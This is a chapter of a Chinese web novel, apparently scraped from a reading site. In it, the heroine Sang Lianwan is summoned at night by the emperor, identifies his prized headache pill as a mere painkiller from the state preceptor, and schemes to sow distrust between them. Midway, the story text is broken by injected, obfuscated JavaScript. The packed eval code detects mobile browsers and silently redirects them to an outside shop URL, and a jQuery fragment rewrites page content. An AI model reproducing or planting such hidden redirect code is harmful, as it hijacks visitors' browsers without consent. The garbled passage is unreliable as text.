第二百六十七章桑连晚暗中挑拨离间
半夜被密旨传召进宫的,历来不是心腹近臣就是宫变有大事发生。
但桑连晚显然跟两者都没有关系。
就连使了银子向传旨的公公打探,也只得出一个“他也不知道”的回答。
虽然迟疑,但桑连晚并不打算在如今这种情况下选择抗旨。
见她要进宫,王府的人立马说要跟着一起,连孔老太妃都惊动了。
既然是密旨,王府的人当然不可能跟着一起,连詹辞陌也被留下了。
“皇上只叫了我一个人,若你们跟着一起,就相当于主动将把柄递过去,得不偿失。”
“大家放心,我会保护好自己的。”
安抚完王府众人后,桑连晚这才跟着传旨公公一起进宫。
明面上,进宫的确实只有桑连晚。
但在马车秘密从王府后门离开时,詹辞陌也暗中跟了上去。
夜色中,马车就这样悄无声息的从王府驶进宫里。
随后由心腹公公带领桑连晚,直奔御书房。
一进门,桑连晚就注意到了一个老太医战战兢兢的跪在一堆杂乱破碎的茶具中,而皇帝正抬手按压着额头,眉头紧锁,表情痛苦。
桑连晚不动声色的打量一圈后,才走过去行礼,“臣妇参见皇上。”
“平身。”皇帝烦躁的抬抬手,似乎顾不上这些虚礼。
他直接示意院首,“把药给她。”
院首不敢迟疑,赶紧小心翼翼的从怀里掏出一个木盒,再小心翼翼的打开。
桑连晚一眼就看到了巴掌大的木盒里放着的玻璃瓶,以及玻璃瓶里被切得只剩三分之一颗的药丸。
桑连晚愣了一下,问了一句:“这是国师给的?”
玻璃瓶这种东西,可不是这个世界会出现的。
她这一问,让皇帝和院首眼睛瞬间亮了。
特别是院首,像抓住救命稻草一样,激动开口:“世子妃认识这药?”
这一次,桑连晚没回答。
她伸手将玻璃瓶拿出来,再倒出那三分之一的药丸,最后随意的将玻璃瓶扔回了木盒里。
看到她的动作,一直小心翼翼对待玻璃瓶的院首吓得差点没心脏都跳出来。
桑连晚将小得不能再小的三分之一药丸拿在手里碾碎,闻了闻,随后又放进了嘴里。
尝过之后,她转头颇为嫌弃的朝旁边吐了出来。
这一系列动作,看得皇帝和院首心都在疼。
天知道他们有多珍视这药,怎么到了桑连晚手里,就跟萝卜白菜似的不值钱?
桑连晚当然注意到两人的反应,并没多解释,而是问道:“皇上,你是不是一直在服用这个药治疗头疾?”
两人都被她这话惊讶到了。
皇帝有头疾的事是秘密,服用神药的事更是只有他们两人知晓,桑连晚怎么会知道?
看出他们疑惑,桑连晚耐心解释了一下:“臣妇一进门就看到皇上一直按着额头,应该是有头疾之类的病症。”
“而这个药,确实是能止住头痛,但……”
一个“但”字,让皇帝和院首的心瞬间提起来。
皇帝摁着额头的事都顾不上了,紧张的撑着身子,“这药是不是有问题。”
桑连晚此刻也大概猜到换地大半夜密旨叫自己进宫是为什么了。
她也没隐瞒,道:“这药本身没什么问题,它确实能止住头痛。”
“不仅是头痛,人身上任何位置的疼痛,它基本都能止住。”
“可它只能止,不能治。”
皇帝和院首愣了一下,好半天才反应过来她说的“只能止,不能治”是什么意思。
皇帝面色低沉,也不知是头疼的还是气的,额头上青筋都冒了出来,“你是说朕的头疾吃了这药只是让朕感觉不到痛,实际上并没有治好?”
桑连晚点头。
这药就跟当初在窝观县时,桑如嫣拿来骗人的神药一模一样,相当于就是个超强版的止疼药。
但皇帝和院首肯定理解不了这些,所以桑连晚就用自己的话讲一些专业术语讲得更通俗,“疼痛本就是身体自身给出的预警,这药虽然止住了疼不会让人痛苦,却也掩盖了身体的预警。”
“当身体给出的预警被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999793|184315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屡次无视,身体的病症自然就会加重。”
此话一出,皇帝额头青筋更甚。
桌上没有了能让他发泄怒火砸掉的东西,他只能愤怒的一巴掌拍桌子上。
“好!好!好!”
接连三个好字说出来,皇帝却一句其他话也说不出来,足以见得他此刻心里的愤怒。
这愤怒,自然是对“赐药”给他的国师。
面对盛怒中的皇帝,院首低着头连呼吸都放轻了,努力降低自己的存在感,生怕被波及。
桑连晚却在看到这一幕时,忽然计上心来。
不管国师有什么逆天的手段,她现在明面上依靠的都是皇帝。
如果皇帝跟她离了心……
桑连晚没有迟疑,假装从袖子里掏了掏,拿出一个小瓷瓶。
“皇上,臣妇这里有跟这个一样的药。”
“如果皇上现在头疾实在难受,可以先服用一颗止痛。”
“只此一次的话,不会对身体造成损伤的。”
见她竟然拿出了同样的药,皇帝和院首都很震惊。
震惊过后,皇帝眼中就露出了怀疑。
“你为何会有这个药?”
就知道这狗皇帝会多疑,桑连晚心里也早就想好了回答。
“启禀皇上,臣妇不敢隐瞒,这要其实并不是臣妇研究出来的,而是从桑如嫣手上得到的。”
窝观县的事,皇帝自然是知道的,也听说了“天神娘娘赐福”的事。
只是没想到所谓的赐福,竟然和这个药有关。
皇帝心里忽然有了一些猜测,皱着眉,只觉得头更痛了。
他审视着桑连晚,不错过她脸上的任何反应,“你可知这药,桑如嫣是如何得到的?”
桑连晚脸上露出了一丝恰到好处的迟疑,似乎不知道该不该说。
就在皇帝对她的反应产生怀疑时,桑连晚才终于想明白一样。
她咬咬牙,回道:“其实臣妇得到这药后就一直在调查它的来源,还动用了云雨商会的关系,但什么也没查到。”
“唯一的线索,也就是桑如嫣临死前说的,说……”